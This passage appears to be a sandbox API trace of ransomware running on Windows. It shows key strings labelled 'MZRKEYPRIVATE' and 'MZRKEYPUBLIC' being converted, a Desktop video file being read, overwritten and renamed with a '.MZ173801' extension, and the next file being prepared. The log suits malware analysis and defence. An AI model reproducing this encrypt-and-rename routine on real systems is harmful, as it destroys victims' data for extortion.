lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0175.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321ec7c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0175.720] GetCurrentThreadId () returned 0xab4 [0175.720] GetCurrentThreadId () returned 0xab4 [0175.720] GetCurrentThreadId () returned 0xab4 [0175.720] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0175.720] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24a003c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0175.721] GetCurrentThreadId () returned 0xab4 [0175.721] GetCurrentThreadId () returned 0xab4 [0175.721] GetCurrentThreadId () returned 0xab4 [0175.721] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\4kpRSbPC8pfSAYGf06z.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\4kprsbpc8pfsaygf06z.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0175.721] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0175.721] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0175.721] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x17cd9 [0175.722] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0175.722] ReadFile (in: hFile=0x320, lpBuffer=0x24a7e40, nNumberOfBytesToRead=0x17cd9, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a7e40*, lpNumberOfBytesRead=0x19fa18*=0x17cd9, lpOverlapped=0x0) returned 1 [0175.723] CloseHandle (hObject=0x320) returned 1 [0175.726] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\4kpRSbPC8pfSAYGf06z.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\4kprsbpc8pfsaygf06z.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0175.728] WriteFile (in: hFile=0x320, lpBuffer=0x24bfe70*, nNumberOfBytesToWrite=0x17cd9, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24bfe70*, lpNumberOfBytesWritten=0x19fa24*=0x17cd9, lpOverlapped=0x0) returned 1 [0175.731] CloseHandle (hObject=0x320) returned 1 [0175.731] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\4kpRSbPC8pfSAYGf06z.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\4kprsbpc8pfsaygf06z.mp4"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\4kpRSbPC8pfSAYGf06z.mp4.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\4kprsbpc8pfsaygf06z.mp4.mz173801")) returned 1 [0175.732] GetCurrentThreadId () returned 0xab4 [0175.732] GetCurrentThreadId () returned 0xab4 [0175.732] GetCurrentThreadId () returned 0xab4 [0175.732] GetCurrentThreadId () returned 0xab4 [0175.732] GetCurrentThreadId () returned 0xab4 [0175.732] GetCurrentThreadId () returned 0xab4 [0175.732] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7d73f50, ftCreationTime.dwHighDateTime=0x1d5e616, ftLastAccessTime.dwLowDateTime=0xaf220e30, ftLastAccessTime.dwHighDateTime=0x1d5e6c8, ftLastWriteTime.dwLowDateTime=0xaf220e30, ftLastWriteTime.dwHighDateTime=0x1d5e6c8, nFileSizeHigh=0x0, nFileSizeLow=0x16d21, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="8e3KCLHl2g3Xva.pptx", cAlternateFileName="8E3KCL~1.PPT")) returned 1 [0175.732] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0175.732] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0175.732] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\8e3KCLHl2g3Xva.pptx" (normalized: "c:\\users\\fd1hvy\\desktop\\8e3kclhl2g3xva.pptx"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7d73f50, ftCreationTime.dwHighDateTime=0x1d5e616, ftLastAccessTime.dwLowDateTime=0xaf220e30, ftLastAccessTime.dwHighDateTime=0x1d5e6c8, ftLastWriteTime.dwLowDateTime=0xaf220e30, ftLastWriteTime.dwHighDateTime=0x1d5e6c8, nFileSizeHigh=0x0, nFileSizeLow=0x16d21)) returned 1 [0175.732] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\8e3KCLHl2g3Xva.pptx" (normalized: "c:\\users\\fd1hvy\\desktop\\8e3kclhl2g3xva.pptx")) returned 0x20 [0175.733] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\8e3KCLHl2g3Xva.pptx", dwFileAttributes=0x80) returned 1 [0175.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0175.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 